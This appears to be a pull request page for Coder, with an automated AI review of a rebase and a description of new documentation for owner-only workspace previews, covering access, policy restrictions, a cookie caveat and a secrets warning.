This round reviews the rebase to 7e28f55d4d. The PR's docs are unchanged since the previous review. The lower stack now reads the workspace proxy in previewHostingFor with the caller's authorization; members hold workspace_proxy:read and the dashboard signs in with a full-scope session, so the page's description of This region does not serve previews. stays accurate for dashboard users. Every quoted error string still appears in the code. No findings, and none remain open. The out-of-scope items listed in earlier reviews still need a ticket or explicit acceptance by a human.
Notes:
- CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.
🤖 This review was automatically generated with Coder Agents.
Documents workspace previews on a new
docs/coder-agents/platform-controls/open-preview.mdpage, with a pointer from the Coder Agents overview: theopen-previewexperiment and how to enable it, port and file previews, that previews open on a click in the chat's right panel and are owner-only, that opening a preview address directly shows an error page, the strict policy's restrictions (no CDN assets or external APIs, no service workers), the parent-domain cookie caveat, and the secrets warning.Stack (review bottom-up). Replaces the closed #31282 stack. Security review: coder/security-assessments#437.
🤖 Generated with Claude Code